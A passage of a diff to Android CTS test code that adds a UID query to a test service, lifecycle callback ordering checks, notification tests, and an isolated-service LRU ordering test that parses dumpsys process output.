+ void activityRunning(Activity activity);
+
+ void activityFinished(int resultCode, Intent data, RuntimeException where);
}
// Also used as the Binder interface descriptor string in these tests
@@ -93,6 +95,8 @@
public static final String LIFECYCLE_SCREEN = "android.app.cts.activity.LIFECYCLE_SCREEN";
public static final String LIFECYCLE_DIALOG = "android.app.cts.activity.LIFECYCLE_DIALOG";
+ public static final String ACTIVITY_PREPARE = "android.app.cts.activity.LIFECYCLE_DIALOG";
+
public static final String BROADCAST_REGISTERED = "android.app.cts.activity.BROADCAST_REGISTERED";
public static final String BROADCAST_LOCAL = "android.app.cts.activity.BROADCAST_LOCAL";
public static final String BROADCAST_REMOTE = "android.app.cts.activity.BROADCAST_REMOTE";
@@ -283,7 +287,8 @@
intent.setFlags(0);
intent.setComponent((ComponentName) intent.getParcelableExtra("component"));
startActivityForResult(intent, LAUNCHED_RESULT);
-
+ } else if (ACTIVITY_PREPARE.equals(action)) {
+ sCallingTest.activityRunning(this);
} else if (FORWARD_RESULT.equals(action)) {
final Intent intent = getIntent();
intent.setFlags(0);
diff --git a/tests/app/app/src/android/app/stubs/LocalService.java b/tests/app/app/src/android/app/stubs/LocalService.java
index a323fec..6120a77 100644
--- a/tests/app/app/src/android/app/stubs/LocalService.java
+++ b/tests/app/app/src/android/app/stubs/LocalService.java
@@ -45,6 +45,7 @@
public static final int GET_VALUE_CODE = 6;
public static final int SET_VALUE_CODE = 7;
public static final int GET_PID_CODE = 8;
+ public static final int GET_UID_CODE = 9;
public static Context sServiceContext = null;
@@ -73,6 +74,10 @@
data.enforceInterface(SERVICE_LOCAL);
reply.writeInt(Process.myPid());
return true;
+ case GET_UID_CODE:
+ data.enforceInterface(SERVICE_LOCAL);
+ reply.writeInt(Process.myUid());
+ return true;
default:
return super.onTransact(code, data, reply, flags);
}
diff --git a/tests/app/src/android/app/cts/ActivityCallbacksTest.java b/tests/app/src/android/app/cts/ActivityCallbacksTest.java
index f80661a..ff9c401 100644
--- a/tests/app/src/android/app/cts/ActivityCallbacksTest.java
+++ b/tests/app/src/android/app/cts/ActivityCallbacksTest.java
@@ -92,92 +92,92 @@
@Override
public void onActivityPreCreated(Activity activity, Bundle savedInstanceState) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PRE_CREATE);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_CREATE);
}
@Override
public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_CREATE);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_CREATE);
}
@Override
public void onActivityPostCreated(Activity activity, Bundle savedInstanceState) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_POST_CREATE);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_CREATE);
}
@Override
public void onActivityPreStarted(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PRE_START);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_START);
}
@Override
public void onActivityStarted(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_START);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_START);
}
@Override
public void onActivityPostStarted(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_POST_START);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_START);
}
@Override
public void onActivityPreResumed(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PRE_RESUME);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_RESUME);
}
@Override
public void onActivityResumed(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_RESUME);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_RESUME);
}
@Override
public void onActivityPostResumed(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_POST_RESUME);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_RESUME);
a.finish();
}
@Override
public void onActivityPrePaused(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PRE_PAUSE);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_PAUSE);
}
@Override
public void onActivityPaused(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PAUSE);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PAUSE);
}
@Override
public void onActivityPostPaused(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_POST_PAUSE);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_PAUSE);
}
@Override
public void onActivityPreStopped(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PRE_STOP);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_STOP);
}
@Override
public void onActivityStopped(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_STOP);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_STOP);
}
@Override
public void onActivityPostStopped(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_POST_STOP);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_STOP);
}
@Override
@@ -188,19 +188,19 @@
@Override
public void onActivityPreDestroyed(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_PRE_DESTROY);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_DESTROY);
}
@Override
public void onActivityDestroyed(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_DESTROY);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_DESTROY);
}
@Override
public void onActivityPostDestroyed(Activity activity) {
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
- a.collectEvent(Source.ACTIVITY_CALLBACK, ON_POST_DESTROY);
+ a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_DESTROY);
actualEvents.addAll(a.getCollectedEvents());
latch.countDown();
}
@@ -227,10 +227,20 @@
private void addNestedEvents(ArrayList<Pair<Source, Event>> expectedEvents,
Event preEvent, Event event, Event postEvent) {
+ expectedEvents.add(new Pair<>(Source.APPLICATION_ACTIVITY_CALLBACK, preEvent));
expectedEvents.add(new Pair<>(Source.ACTIVITY_CALLBACK, preEvent));
expectedEvents.add(new Pair<>(Source.ACTIVITY, preEvent));
- expectedEvents.add(new Pair<>(Source.ACTIVITY_CALLBACK, event));
+ if (event == ON_CREATE || event == ON_START || event == ON_RESUME) {
+ // Application goes first on upward lifecycle events
+ expectedEvents.add(new Pair<>(Source.APPLICATION_ACTIVITY_CALLBACK, event));
+ expectedEvents.add(new Pair<>(Source.ACTIVITY_CALLBACK, event));
+ } else {
+ // Application goes last on downward lifecycle events
+ expectedEvents.add(new Pair<>(Source.ACTIVITY_CALLBACK, event));
+ expectedEvents.add(new Pair<>(Source.APPLICATION_ACTIVITY_CALLBACK, event));
+ }
expectedEvents.add(new Pair<>(Source.ACTIVITY, postEvent));
expectedEvents.add(new Pair<>(Source.ACTIVITY_CALLBACK, postEvent));
+ expectedEvents.add(new Pair<>(Source.APPLICATION_ACTIVITY_CALLBACK, postEvent));
}
}
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 5d18133..97f24bc 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -34,8 +34,8 @@
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.UiAutomation;
-import android.app.stubs.TestNotificationListener;
import android.app.stubs.R;
+import android.app.stubs.TestNotificationListener;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -978,6 +978,79 @@
InstrumentationRegistry.getInstrumentation(), false);
}
+ public void testPostFullScreenIntent_permission() {
+ int id = 6000;
+
+ final Notification notification =
+ new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setWhen(System.currentTimeMillis())
+ .setFullScreenIntent(getPendingIntent(), true)
+ .setContentText("This is #FSI notification")
+ .setContentIntent(getPendingIntent())
+ .build();
+ mNotificationManager.notify(id, notification);
+
+ StatusBarNotification n = findPostedNotification(id);
+ assertNotNull(n);
+ assertEquals(notification.fullScreenIntent, n.getNotification().fullScreenIntent);
+ }
+
+ private StatusBarNotification findPostedNotification(int id) {
+ // notification is a bit asynchronous so it may take a few ms to appear in
+ // getActiveNotifications()
+ // we will check for it for up to 300ms before giving up
+ StatusBarNotification n = null;
+ for (int tries = 3; tries-- > 0; ) {
+ final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
+ for (StatusBarNotification sbn : sbns) {
+ Log.d(TAG, "Found " + sbn.getKey());
+ if (sbn.getId() == id) {
+ n = sbn;
+ break;
+ }
+ }
+ if (n != null) break;
+ try {
+ Thread.sleep(100);
+ } catch (InterruptedException ex) {
+ // pass
+ }
+ }
+ return n;
+ }
+
+ public void testNotificationPolicyVisualEffectsEqual() {
+ NotificationManager.Policy policy = new NotificationManager.Policy(0,0 ,0 ,
+ SUPPRESSED_EFFECT_SCREEN_ON);
+ NotificationManager.Policy policy2 = new NotificationManager.Policy(0,0 ,0 ,
+ SUPPRESSED_EFFECT_PEEK);
+ assertTrue(policy.equals(policy2));
+ assertTrue(policy2.equals(policy));
+
+ policy = new NotificationManager.Policy(0,0 ,0 ,
+ SUPPRESSED_EFFECT_SCREEN_ON);
+ policy2 = new NotificationManager.Policy(0,0 ,0 ,
+ 0);
+ assertFalse(policy.equals(policy2));
+ assertFalse(policy2.equals(policy));
+
+ policy = new NotificationManager.Policy(0,0 ,0 ,
+ SUPPRESSED_EFFECT_SCREEN_OFF);
+ policy2 = new NotificationManager.Policy(0,0 ,0 ,
+ SUPPRESSED_EFFECT_FULL_SCREEN_INTENT | SUPPRESSED_EFFECT_AMBIENT
+ | SUPPRESSED_EFFECT_LIGHTS);
+ assertTrue(policy.equals(policy2));
+ assertTrue(policy2.equals(policy));
+
+ policy = new NotificationManager.Policy(0,0 ,0 ,
+ SUPPRESSED_EFFECT_SCREEN_OFF);
+ policy2 = new NotificationManager.Policy(0,0 ,0 ,
+ SUPPRESSED_EFFECT_LIGHTS);
+ assertFalse(policy.equals(policy2));
+ assertFalse(policy2.equals(policy));
+ }
+
private PendingIntent getPendingIntent() {
return PendingIntent.getActivity(
getContext(), 0, new Intent(getContext(), this.getClass()), 0);
@@ -1191,4 +1264,8 @@
uiAutomation.destroy();
}
}
+
+ private Instrumentation getInstrumentation() {
+ return InstrumentationRegistry.getInstrumentation();
+ }
}
diff --git a/tests/app/src/android/app/cts/NotificationTest.java b/tests/app/src/android/app/cts/NotificationTest.java
index 57c2c2a..9c4a0ff 100644
--- a/tests/app/src/android/app/cts/NotificationTest.java
+++ b/tests/app/src/android/app/cts/NotificationTest.java
@@ -495,6 +495,32 @@
assertEquals(Notification.Action.SEMANTIC_ACTION_REPLY, action.getSemanticAction());
}
+ public void testAction_builder_contextualAction_nullIcon() {
+ PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, new Intent(), 0);
+ Notification.Action.Builder builder =
+ new Notification.Action.Builder(null /* icon */, "title", pendingIntent)
+ .setSemanticAction(Notification.Action.SEMANTIC_ACTION_CONTEXTUAL_SUGGESTION);
+ try {
+ builder.build();
+ fail("Creating a semantic Action with a null icon should cause a NullPointerException");
+ } catch (NullPointerException e) {
+ // Expected
+ }
+ }
+
+ public void testAction_builder_contextualAction_nullIntent() {
+ Notification.Action.Builder builder =
+ new Notification.Action.Builder(0 /* icon */, "title", null /* intent */)
+ .setSemanticAction(Notification.Action.SEMANTIC_ACTION_CONTEXTUAL_SUGGESTION);
+ try {
+ builder.build();
+ fail("Creating a semantic Action with a null PendingIntent should cause a "
+ + "NullPointerException");
+ } catch (NullPointerException e) {
+ // Expected
+ }
+ }
+
public void testAction_parcel() {
Notification.Action action = writeAndReadParcelable(
makeNotificationAction(builder -> {
diff --git a/tests/app/src/android/app/cts/PipActivityTest.java b/tests/app/src/android/app/cts/PipActivityTest.java
index b02b93f..c3afc8a 100644
--- a/tests/app/src/android/app/cts/PipActivityTest.java
+++ b/tests/app/src/android/app/cts/PipActivityTest.java
@@ -73,7 +73,6 @@
assertTrue(mActivity.getLastReportedMultiWindowMode());
assertTrue(mActivity.getLastReporterPictureInPictureMode());
} else {
- mActivity.enterPictureInPictureMode();
assertTrue(!mActivity.enterPictureInPictureMode(
new PictureInPictureParams.Builder().build()));
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index f11fcee..3f32a86 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -16,6 +16,7 @@
package android.app.cts;
+import android.app.Activity;
import android.app.ActivityManager;
import android.app.Notification;
import android.app.NotificationChannel;
@@ -23,6 +24,7 @@
import android.app.PendingIntent;
import android.app.stubs.ActivityTestsBase;
import android.app.stubs.IsolatedService;
+import android.app.stubs.LaunchpadActivity;
import android.app.stubs.LocalDeniedService;
import android.app.stubs.LocalForegroundService;
import android.app.stubs.LocalGrantedService;
@@ -32,21 +34,32 @@
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
+import android.os.ParcelFileDescriptor;
import android.support.test.InstrumentationRegistry;
import android.os.Binder;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
+import android.os.Process;
import android.os.RemoteException;
import android.os.SystemClock;
import android.service.notification.StatusBarNotification;
import android.test.suitebuilder.annotation.MediumTest;
import android.util.Log;
import android.app.stubs.R;
+import android.util.SparseArray;
import com.android.compatibility.common.util.IBinderParcelable;
import com.android.compatibility.common.util.SystemUtil;
+import com.android.server.am.nano.ActivityManagerServiceDumpProcessesProto;
+import com.android.server.am.nano.ProcessRecordProto;
+import com.google.protobuf.nano.InvalidProtocolBufferNanoException;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
import java.util.List;
public class ServiceTest extends ActivityTestsBase {
@@ -192,10 +205,13 @@
}
}
- private class IsolatedConnection implements ServiceConnection {
+ final class IsolatedConnection implements ServiceConnection {
private IBinder mService;
+ private int mUid;
+ private int mPid;
public IsolatedConnection() {
+ mUid = mPid = -1;
}
public void waitForService(int timeoutMs) {
@@ -223,6 +239,14 @@
}
}
+ public int getUid() {
+ return mUid;
+ }
+
+ public int getPid() {
+ return mPid;
+ }
+
public void setValue(int value) {
Parcel data = Parcel.obtain();
data.writeInterfaceToken(LocalService.SERVICE_LOCAL);
@@ -250,7 +274,7 @@
return value;
}
- public int getPid() {
+ public int getPidIpc() {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
data.writeInterfaceToken(LocalService.SERVICE_LOCAL);
@@ -265,10 +289,27 @@
return value;
}
+ public int getUidIpc() {
+ Parcel data = Parcel.obtain();
+ Parcel reply = Parcel.obtain();
+ data.writeInterfaceToken(LocalService.SERVICE_LOCAL);
+ try {
+ mService.transact(LocalService.GET_UID_CODE, data, reply, 0);
+ } catch (RemoteException e) {
+ finishBad("DeadObjectException when sending reporting object");
+ }
+ int value = reply.readInt();
+ reply.recycle();
+ data.recycle();
+ return value;
+ }
+
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
synchronized (this) {
mService = service;
+ mUid = getUidIpc();
+ mPid = getPidIpc();
notifyAll();
}
}
@@ -281,6 +322,34 @@
}
}
+ private byte[] executeShellCommand(String cmd) {
+ try {
+ ParcelFileDescriptor pfd =
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .executeShellCommand(cmd);
+ byte[] buf = new byte[512];
+ int bytesRead;
+ FileInputStream fis = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
+ ByteArrayOutputStream stdout = new ByteArrayOutputStream();
+ while ((bytesRead = fis.read(buf)) != -1) {
+ stdout.write(buf, 0, bytesRead);
+ }
+ fis.close();
+ return stdout.toByteArray();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ public ActivityManagerServiceDumpProcessesProto getActivityManagerProcesses() {
+ byte[] dump = executeShellCommand("dumpsys activity --proto processes");
+ try {
+ return ActivityManagerServiceDumpProcessesProto.parseFrom(dump);
+ } catch (InvalidProtocolBufferNanoException e) {
+ throw new RuntimeException("Failed parsing proto", e);
+ }
+ }
+
private void startExpectResult(Intent service) {
startExpectResult(service, new Bundle());
}
@@ -1056,4 +1125,371 @@
}
}
}
+
+ static final int BINDING_WEAK = 0;
+ static final int BINDING_STRONG = 1;
+ static final int BINDING_ANY = -1;
+
+ final class IsolatedConnectionInfo {
+ final int mStrong;
+ final String mInstanceName;
+ final String mLabel;
+ int mGroup;
+ int mImportance;
+ IsolatedConnection mConnection;
+
+ IsolatedConnectionInfo(int group, int importance, int strong) {
+ mGroup = group;
+ mImportance = importance;
+ mStrong = strong;
+ mInstanceName = group + "_" + importance;
+ StringBuilder b = new StringBuilder(mInstanceName);
+ b.append('_');
+ if (strong == BINDING_WEAK) {
+ b.append('W');
+ } else if (strong == BINDING_STRONG) {
+ b.append('S');
+ } else {
+ b.append(strong);
+ }
+ mLabel = b.toString();
+ }
+
+ void setGroup(int group) {
+ mGroup = group;
+ }
+
+ void setImportance(int importance) {
+ mImportance = importance;
+ }
+
+ boolean match(int group, int strong) {
+ return (group < 0 || mGroup == group)
+ && (strong == BINDING_ANY || mStrong == strong);
+ }
+
+ boolean bind(Context context) {
+ if (mConnection != null) {
+ return true;
+ }
+ Log.i("XXXXXXX", "Binding " + mLabel + ": conn=" + mConnection
+ + " context=" + context);
+ mConnection = new IsolatedConnection();
+ boolean result = context.bindIsolatedService(
+ mIsolatedService, mConnection,
+ Context.BIND_AUTO_CREATE | Context.BIND_DEBUG_UNBIND
+ | (mStrong == BINDING_STRONG ? 0 : Context.BIND_ALLOW_OOM_MANAGEMENT),
+ mInstanceName);
+ if (!result) {
+ mConnection = null;
+ }
+ return result;
+ }
+
+ IsolatedConnection getConnection() {
+ return mConnection;
+ }
+
+ void unbind(Context context) {
+ if (mConnection != null) {
+ Log.i("XXXXXXX", "Unbinding " + mLabel + ": conn=" + mConnection
+ + " context=" + context);
+ context.unbindService(mConnection);
+ mConnection = null;
+ }
+ }
+ }
+
+ final class LruOrderItem {
+ static final int FLAG_SKIP_UNKNOWN = 1<<0;
+
+ final IsolatedConnectionInfo mInfo;
+ final int mUid;
+ final int mFlags;
+
+ LruOrderItem(IsolatedConnectionInfo info, int flags) {
+ mInfo = info;
+ mUid = -1;
+ mFlags = flags;
+ }
+
+ LruOrderItem(int uid, int flags) {
+ mInfo = null;
+ mUid = uid;
+ mFlags = flags;
+ }
+
+ IsolatedConnectionInfo getInfo() {
+ return mInfo;
+ }
+
+ int getUid() {
+ return mInfo != null ? mInfo.getConnection().getUid() : mUid;
+ }
+
+ int getFlags() {
+ return mFlags;
+ }
+ }
+
+ private void doBind(Context context, IsolatedConnectionInfo[] connections, int group,
+ int strong) {
+ for (IsolatedConnectionInfo ci : connections) {
+ if (ci.match(group, strong)) {
+ ci.bind(context);
+ }
+ }
+ }
+
+ private void doBind(Context context, IsolatedConnectionInfo[] connections, int[] selected) {
+ for (int i : selected) {
+ boolean result = connections[i].bind(context);
+ if (!result) {
+ fail("Unable to bind connection " + connections[i].mLabel);
+ }
+ }
+ }
+
+ private void doWaitForService(IsolatedConnectionInfo[] connections, int group,
+ int strong) {
+ for (IsolatedConnectionInfo ci : connections) {
+ if (ci.match(group, strong)) {
+ ci.mConnection.waitForService(DELAY);
+ }
+ }
+ }
+
+ private void doUpdateServiceGroup(Context context, IsolatedConnectionInfo[] connections,
+ int group, int strong) {
+ for (IsolatedConnectionInfo ci : connections) {
+ if (ci.match(group, strong)) {
+ context.updateServiceGroup(ci.mConnection, ci.mGroup, ci.mImportance);
+ }
+ }
+ }
+
+ private void doUnbind(Context context, IsolatedConnectionInfo[] connections, int group,
+ int strong) {
+ for (IsolatedConnectionInfo ci : connections) {
+ if (ci.match(group, strong)) {
+ ci.unbind(context);
+ }
+ }
+ }
+
+ private void doUnbind(Context context, IsolatedConnectionInfo[] connections, int[] selected) {
+ for (int i : selected) {
+ connections[i].unbind(context);
+ }
+ }
+
+ List<ProcessRecordProto> getLruProcesses() {
+ ActivityManagerServiceDumpProcessesProto dump = getActivityManagerProcesses();
+ SparseArray<ProcessRecordProto> procs = new SparseArray<>();
+ ProcessRecordProto[] procsList = dump.procs;
+ for (ProcessRecordProto proc : procsList) {
+ procs.put(proc.lruIndex, proc);
+ }
+ ArrayList<ProcessRecordProto> lruProcs = new ArrayList<>();
+ for (int i = 0; i < procs.size(); i++) {
+ lruProcs.add(procs.valueAt(i));
+ }
+ return lruProcs;
+ }
+
+ String printProc(int i, ProcessRecordProto proc) {
+ return "#" + i + ": " + proc.processName
+ + " pid=" + proc.pid + " uid=" + proc.uid
+ + (proc.isolatedAppId != 0 ? " isolated=" + proc.isolatedAppId : "");
+ }
+
+ private void logProc(int i, ProcessRecordProto proc) {
+ Log.i("XXXXXXXX", printProc(i, proc));
+ }
+
+ private void verifyLruOrder(LruOrderItem[] orderItems) {
+ List<ProcessRecordProto> procs = getLruProcesses();
+ Log.i("XXXXXXXX", "Processes:");
+ int orderI = 0;
+ for (int i = procs.size() - 1; i >= 0; i--) {
+ ProcessRecordProto proc = procs.get(i);
+ logProc(i, proc);
+ final LruOrderItem lru = orderItems[orderI];
+ Log.i("XXXXXXXX", "Expecting uid: " + lru.getUid());
+ int procUid = proc.isolatedAppId != 0 ? proc.isolatedAppId : proc.uid;
+ if (procUid != lru.getUid()) {
+ if ((lru.getFlags() & LruOrderItem.FLAG_SKIP_UNKNOWN) != 0) {
+ while (i > 0) {
+ i--;
+ proc = procs.get(i);
+ logProc(i, proc);
+ procUid = proc.isolatedAppId != 0 ? proc.isolatedAppId : proc.uid;
+ if (procUid == lru.getUid()) {
+ break;
+ }
+ }
+ }
+ if (procUid != lru.getUid()) {
+ if ((lru.getFlags() & LruOrderItem.FLAG_SKIP_UNKNOWN) != 0) {
+ fail("Didn't find expected LRU proc uid=" + lru.getUid());
+ }
+ fail("Expected proc uid=" + lru.getUid() + " at found proc "
+ + printProc(i, proc));
+ }
+ }
+ orderI++;
+ if (orderI >= orderItems.length) {
+ return;
+ }
+ }
+ }
+
+ /**
+ * Test that the system properly orders processes bound by an activity within the
+ * LRU list.
+ */
+ @MediumTest
+ public void testActivityServiceBindingLru() throws Exception {
+ // Bring up the activity we will hang services off of.
+ runLaunchpad(LaunchpadActivity.ACTIVITY_PREPARE);
+
+ final Activity a = getRunningActivity();
+
+ final int CONN_1_1_W = 0;
+ final int CONN_1_1_S = 1;
+ final int CONN_1_2_W = 2;
+ final int CONN_1_2_S = 3;
+ final int CONN_2_1_W = 4;
+ final int CONN_2_1_S = 5;
+ final int CONN_2_2_W = 6;
+ final int CONN_2_2_S = 7;
+ final int CONN_2_3_W = 8;
+ final int CONN_2_3_S = 9;
+
+ // We are going to have both weak and strong references to services, so we can allow
+ // some to go down in the LRU list.
+ final IsolatedConnectionInfo[] connections = new IsolatedConnectionInfo[] {
+ new IsolatedConnectionInfo(1, 1, BINDING_WEAK),
+ new IsolatedConnectionInfo(1, 1, BINDING_STRONG),
+ new IsolatedConnectionInfo(1, 2, BINDING_WEAK),
+ new IsolatedConnectionInfo(1, 2, BINDING_STRONG),
+ new IsolatedConnectionInfo(2, 1, BINDING_WEAK),
+ new IsolatedConnectionInfo(2, 1, BINDING_STRONG),
+ new IsolatedConnectionInfo(2, 2, BINDING_WEAK),
+ new IsolatedConnectionInfo(2, 2, BINDING_STRONG),
+ new IsolatedConnectionInfo(2, 3, BINDING_WEAK),
+ new IsolatedConnectionInfo(2, 3, BINDING_STRONG),
+ };
+
+ final int[] REV_GROUP_1_STRONG = new int[] {
+ CONN_1_2_S, CONN_1_1_S
+ };
+
+ final int[] REV_GROUP_2_STRONG = new int[] {
+ CONN_2_3_S, CONN_2_2_S, CONN_2_1_S
+ };
+
+ final int[] MIXED_GROUP_3_STRONG = new int[] {
+ CONN_2_3_S, CONN_1_1_S, CONN_2_1_S, CONN_2_2_S
+ };
+
+ boolean passed = false;
+
+ try {
+ // Start the group 1 processes as weak.
+ doBind(a, connections, 1, BINDING_WEAK);
+ doUpdateServiceGroup(a, connections, 1, BINDING_WEAK);
+
+ // Wait for them to come up.
+ doWaitForService(connections, 1, BINDING_WEAK);
+
+ // Now fully bind to the services.
+ doBind(a, connections, 1, BINDING_STRONG);
+ doWaitForService(connections, 1, BINDING_STRONG);
+
+ verifyLruOrder(new LruOrderItem[] {
+ new LruOrderItem(Process.myUid(), 0),
+ new LruOrderItem(connections[CONN_1_1_W], 0),
+ new LruOrderItem(connections[CONN_1_2_W], 0),
+ });
+
+ // Now remove the full binding, leaving only the weak.
+ doUnbind(a, connections, 1, BINDING_STRONG);
+
+ // Start the group 2 processes as weak.
+ doBind(a, connections, 2, BINDING_WEAK);
+
+ // Wait for them to come up.
+ doWaitForService(connections, 2, BINDING_WEAK);
+
+ // Set the group and index. In this case we do it after we know the process
+ // is started, to make sure setting it directly works.
+ doUpdateServiceGroup(a, connections, 2, BINDING_WEAK);
+
+ // Now fully bind to group 2
+ doBind(a, connections, REV_GROUP_2_STRONG);
+
+ verifyLruOrder(new LruOrderItem[] {
+ new LruOrderItem(Process.myUid(), 0),
+ new LruOrderItem(connections[CONN_2_1_W], 0),
+ new LruOrderItem(connections[CONN_2_2_W], 0),
+ new LruOrderItem(connections[CONN_2_3_W], 0),
+ new LruOrderItem(connections[CONN_1_1_W], LruOrderItem.FLAG_SKIP_UNKNOWN),
+ new LruOrderItem(connections[CONN_1_2_W], 0),
+ });
+
+ // Bring group 1 back to the foreground, but in the opposite order.
+ doBind(a, connections, REV_GROUP_1_STRONG);
+
+ verifyLruOrder(new LruOrderItem[] {
+ new LruOrderItem(Process.myUid(), 0),
+ new LruOrderItem(connections[CONN_1_1_W], 0),
+ new LruOrderItem(connections[CONN_1_2_W], 0),
+ new LruOrderItem(connections[CONN_2_1_W], LruOrderItem.FLAG_SKIP_UNKNOWN),
+ new LruOrderItem(connections[CONN_2_2_W], 0),
+ new LruOrderItem(connections[CONN_2_3_W], 0),
+ });
+
+ // Now remove all full bindings, keeping only weak.
+ doUnbind(a, connections, 1, BINDING_STRONG);
+ doUnbind(a, connections, 2, BINDING_STRONG);
+
+ // Change the grouping and importance to make sure that gets reflected.
+ connections[CONN_1_1_W].setGroup(3);
+ connections[CONN_1_1_W].setImportance(1);
+ connections[CONN_2_1_W].setGroup(3);
+ connections[CONN_2_1_W].setImportance(2);
+ connections[CONN_2_2_W].setGroup(3);
+ connections[CONN_2_2_W].setImportance(3);
+ connections[CONN_2_3_W].setGroup(3);
+ connections[CONN_2_3_W].setImportance(4);
+
+ doUpdateServiceGroup(a, connections, 3, BINDING_WEAK);
+
+ // Now bind them back up in an interesting order.
+ doBind(a, connections, MIXED_GROUP_3_STRONG);
+
+ verifyLruOrder(new LruOrderItem[] {
+ new LruOrderItem(Process.myUid(), 0),
+ new LruOrderItem(connections[CONN_1_1_W], 0),
+ new LruOrderItem(connections[CONN_2_1_W], 0),
+ new LruOrderItem(connections[CONN_2_2_W], 0),
+ new LruOrderItem(connections[CONN_2_3_W], 0),
+ new LruOrderItem(connections[CONN_1_2_W], LruOrderItem.FLAG_SKIP_UNKNOWN),
+ });
+
+ passed = true;
+
+ } finally {
+ if (!passed) {
+ List<ProcessRecordProto> procs = getLruProcesses();
+ Log.i("XXXXXXXX", "Processes:");
+ for (int i = procs.size() - 1; i >= 0; i--) {
+ ProcessRecordProto proc = procs.get(i);
+ logProc(i, proc);
+ }
+ }
+ doUnbind(a, connections, -1, BINDING_ANY);
+ }
+ }
}
diff --git a/tests/app/src/android/app/cts/SystemFeaturesTest.java b/tests/app/src/android/app/cts/SystemFeaturesTest.java
index 09d99a3..871503f 100644
--- a/tests/app/src/android/app/cts/SystemFeaturesTest.java
+++ b/tests/app/src/android/app/cts/SystemFeaturesTest.java
@@ -507,7 +507,7 @@
}
}
- public void testWifiFeature() throws Exception {
